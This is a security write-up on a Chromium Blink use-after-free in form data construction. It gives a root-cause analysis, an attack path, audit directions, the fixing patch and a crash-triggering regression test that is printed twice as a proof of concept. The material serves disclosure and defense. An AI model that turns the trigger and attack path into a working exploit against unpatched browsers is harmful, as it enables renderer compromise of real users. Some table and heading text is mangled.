CVE-2026-118337
Overview
Background
- `ListedElements()` / `listed_elements_`
- The form’s cached list (
ListedElement::List, a GC-aware vector) of associated form controls; it is rebuilt lazily and can be cleared/recomputed when the DOM changes. - `AppendToFormData()`
- Per-control hook that adds the control’s value to the
FormData. For<textarea>it forces a synchronous style and layout update, which can run script/DOM mutation.
Root Cause Analysis
The advisory labels this “Improper access control in Forms” (LogicError), but the diff shows an iterator-invalidation use-after-free. ConstructEntryList iterated ListedElements() directly: for (ListedElement* control : ListedElements()). Inside the loop it calls AppendToFormData(); for a <textarea> this forces a synchronous style/layout update that can mutate the DOM and, in turn, clear/rebuild listed_elements_. Because the loop was walking the live list, clearing it frees the backing storage out from under the range-based for, so the next iteration reads freed memory — a UAF. The same pattern existed in BuildSearchString, which iterated form.ListedElements() while calling AppendToFormData(). The accompanying WPT is literally named construct-entry-list-disassociate-crash.html and reparents an <input type=image> and a <textarea> form so that building the form data set disassociates controls mid-iteration.
The fix snapshots the list before iterating: ListedElement::List elements(ListedElements()); for (ListedElement* control : elements) in ConstructEntryList, and the identical copy in BuildSearchString. A copied ListedElement::List keeps its own (GC-traced) references, so clearing listed_elements_ during the loop no longer invalidates the walk — matching HTMLFormElement::reset and the HTML spec’s requirement to operate on a copy. Separately, ImageInputType::EnsurePrimaryContent now early-returns when GetElement().GetDocument().InStyleRecalc() is true (mirroring SetUseFallbackContent), preventing a synchronous cached-image completion from rebuilding the UA shadow subtree (RemoveChildren() + CreateShadowSubtree()) during style recalc — the mechanism by which type=image layout attachment re-enters and mutates the DOM that clears listed_elements_.
AppendToFormData() (via <textarea> forced layout / <input type=image> shadow rebuild) synchronously mutated and cleared that very list, freeing the backing store mid-iteration.Attack Path
- Craft a reentrant form
A page builds a form containing a
<textarea>(forces sync layout) and an<input type=image>whose shadow subtree can rebuild on cached-image completion, arranged so layout mutates the DOM. - Disassociate during build
Using
contenteditable/document.implementation.createHTMLDocument()reparenting (as the WPT does), set up controls that get disassociated from the form when style/layout runs. - Invoke the build
Trigger
new FormData(form)/ form submission, enteringConstructEntryList(or a searchable-form extraction enteringBuildSearchString). - Mutate mid-loop
AppendToFormData()on the<textarea>/image control forces synchronous style+layout, which clearslisted_elements_and frees its backing store. - UAF read
The range-based
foradvances over the freed list, dereferencing a danglingListedElement*in the renderer. (Escalation beyond crash is inferred.)
Impact Assessment
new FormData(form) or submission) is script-triggerable. The proven primitive is a heap use-after-free read of a freed ListedElement::List during iteration; the regression test confirms a crash. Converting the stale-pointer read into a controlled read/write or code execution is (inferred) and not shown by the diff. Note the advisory’s “access control” framing is not substantiated — the code shows iterator invalidation / UAF.Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/renderer/core/exported/web_searchable_form_data.cc |
modified | |
ifthird_party/blink/renderer/core/html/forms/html_form_element.cc |
modified | |
forthird_party/blink/renderer/core/html/forms/html_form_element.cc |
modified |
Files Changed
third_party/blink/renderer/core/html/forms/image_input_type.ccthird_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.htmlthird_party/blink/renderer/core/exported/web_searchable_form_data.ccthird_party/blink/renderer/core/html/forms/html_form_element.cc
Audit Directions
- Other `ListedElements()` consumersGrep Blink for loops over
ListedElements()/listed_elements_that call intoAppendToFormData, style, or layout; each should iterate a copy (asHTMLFormElement::resetdoes). - `AppendToFormData` side effectsAudit every control’s
AppendToFormData/value accessor for synchronous style/layout or script that can mutate the form’s control set. - Shadow-tree mutation during style recalcLook for other
EnsurePrimaryContent-style shadow rebuilds (image/media/UA-shadow code) that lack anInStyleRecalc()guard. - Live-collection iteration under forced layoutReview DOM/forms code that iterates cached node lists while triggering
UpdateStyleAndLayout.
Patch
From 32c2e2f4faf5f5c2caec109387500407924e52bc Mon Sep 17 00:00:00 2001
From: Mason Freed <masonf@chromium.org>
Date: Thu, 22 Oct 2026 17:22:08 -0700
Subject: [PATCH] Copy ListedElements before iterating in ConstructEntryList
HTMLFormElement::ConstructEntryList and BuildSearchString iterate over
ListedElements() while calling AppendToFormData() on each control. For
<textarea>, AppendToFormData() forces a synchronous style and layout
update, which can mutate the DOM and clear listed_elements_ mid-loop.
Copy ListedElements() before iterating, matching HTMLFormElement::reset
and the HTML specification.
Also guard ImageInputType::EnsurePrimaryContent() with InStyleRecalc(),
matching ImageInputType::SetUseFallbackContent(), so synchronous cached
image completion during layout tree attachment does not mutate the UA
shadow tree during style recalc.
Fixed: 569286605
Change-Id: Ide74cfb742e8df43258883b11caf219e15d02d76
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8613243
Reviewed-by: David Baron <dbaron@chromium.org>
Auto-Submit: Mason Freed <masonf@chromium.org>
Commit-Queue: Mason Freed <masonf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1725339}
---
diff --git a/third_party/blink/renderer/core/exported/web_searchable_form_data.cc b/third_party/blink/renderer/core/exported/web_searchable_form_data.cc
index b8478b8..a345c565a 100644
--- a/third_party/blink/renderer/core/exported/web_searchable_form_data.cc
+++ b/third_party/blink/renderer/core/exported/web_searchable_form_data.cc
@@ -186,7 +186,8 @@
const TextEncoding& encoding,
const HTMLInputElement* text_element) {
bool is_element_found = false;
- for (ListedElement* item : form.ListedElements()) {
+ ListedElement::List elements(form.ListedElements());
+ for (ListedElement* item : elements) {
auto* control = DynamicTo<HTMLFormControlElement>(item);
if (!control)
continue;
diff --git a/third_party/blink/renderer/core/html/forms/html_form_element.cc b/third_party/blink/renderer/core/html/forms/html_form_element.cc
index 848955de8..12979d7 100644
--- a/third_party/blink/renderer/core/html/forms/html_form_element.cc
+++ b/third_party/blink/renderer/core/html/forms/html_form_element.cc
@@ -1103,6 +1103,7 @@
target_frame->ScheduleFormSubmission(scheduler, form_submission);
}
+// https://html.spec.whatwg.org/multipage/#constructing-the-form-data-set
FormData* HTMLFormElement::ConstructEntryList(Element* submitter,
const TextEncoding& encoding) {
if (is_constructing_entry_list_) {
@@ -1115,7 +1116,10 @@
submitter->SetActivatedSubmit(true);
}
- for (ListedElement* control : ListedElements()) {
+ // Copy the element list because |AppendToFormData()| can update DOM
+ // structure.
+ ListedElement::List elements(ListedElements());
+ for (ListedElement* control : elements) {
DCHECK(control);
HTMLElement& element = control->ToHTMLElement();
if (!element.IsDisabledFormControl())
diff --git a/third_party/blink/renderer/core/html/forms/image_input_type.cc b/third_party/blink/renderer/core/html/forms/image_input_type.cc
index 89ba830..13c635a9e9 100644
--- a/third_party/blink/renderer/core/html/forms/image_input_type.cc
+++ b/third_party/blink/renderer/core/html/forms/image_input_type.cc
@@ -251,6 +251,9 @@
if (!HasCreatedShadowSubtree()) {
return;
}
+ if (GetElement().GetDocument().InStyleRecalc()) {
+ return;
+ }
if (ShadowRoot* root = GetElement().UserAgentShadowRoot())
root->RemoveChildren();
CreateShadowSubtree();
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
new file mode 100644
index 0000000..39a4167
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
@@ -0,0 +1,39 @@
+<!DOCTYPE html>
+<meta charset="utf-8">
+<link rel="author" href="mailto:masonf@chromium.org">
+<link rel="help" href="https://crbug.com/569286605">
+
+<style>
+input::-webkit-textfield-decoration-container {
+ content-visibility: hidden;
+ pointer-events: none;
+ height: 20px;
+}
+</style>
+<img id="img" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7">
+<div contenteditable>
+ <input id="inp" type="search" alt="x" style="width: 100px; height: 20px">
+</div>
+<script>
+const img = document.getElementById('img');
+const inp = document.getElementById('inp');
+const rect = inp.getBoundingClientRect();
+const pos = document.caretPositionFromPoint(rect.right - 5, rect.top + 5);
+inp.type = 'image';
+const sr = pos.offsetNode;
+inp.src = '';
+
+window.onload = () => {
+ const doc2 = document.implementation.createHTMLDocument();
+ doc2.body.appendChild(inp);
+ inp.src = img.src;
+ inp.style.content = `url(${img.src})`;
+ document.body.appendChild(inp);
+
+ const form = document.createElement('form');
+ form.innerHTML = '<textarea name="a">x</textarea><input name="b" value="y">';
+ sr.appendChild(form);
+
+ new FormData(form);
+};
+</script>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
new file mode 100644
index 0000000..39a4167
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
@@ -0,0 +1,39 @@
+<!DOCTYPE html>
+<meta charset="utf-8">
+<link rel="author" href="mailto:masonf@chromium.org">
+<link rel="help" href="https://crbug.com/569286605">
+
+<style>
+input::-webkit-textfield-decoration-container {
+ content-visibility: hidden;
+ pointer-events: none;
+ height: 20px;
+}
+</style>
+<img id="img" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7">
+<div contenteditable>
+ <input id="inp" type="search" alt="x" style="width: 100px; height: 20px">
+</div>
+<script>
+const img = document.getElementById('img');
+const inp = document.getElementById('inp');
+const rect = inp.getBoundingClientRect();
+const pos = document.caretPositionFromPoint(rect.right - 5, rect.top + 5);
+inp.type = 'image';
+const sr = pos.offsetNode;
+inp.src = '';
+
+window.onload = () => {
+ const doc2 = document.implementation.createHTMLDocument();
+ doc2.body.appendChild(inp);
+ inp.src = img.src;
+ inp.style.content = `url(${img.src})`;
+ document.body.appendChild(inp);
+
+ const form = document.createElement('form');
+ form.innerHTML = '<textarea name="a">x</textarea><input name="b" value="y">';
+ sr.appendChild(form);
+
+ new FormData(form);
+};
+</script>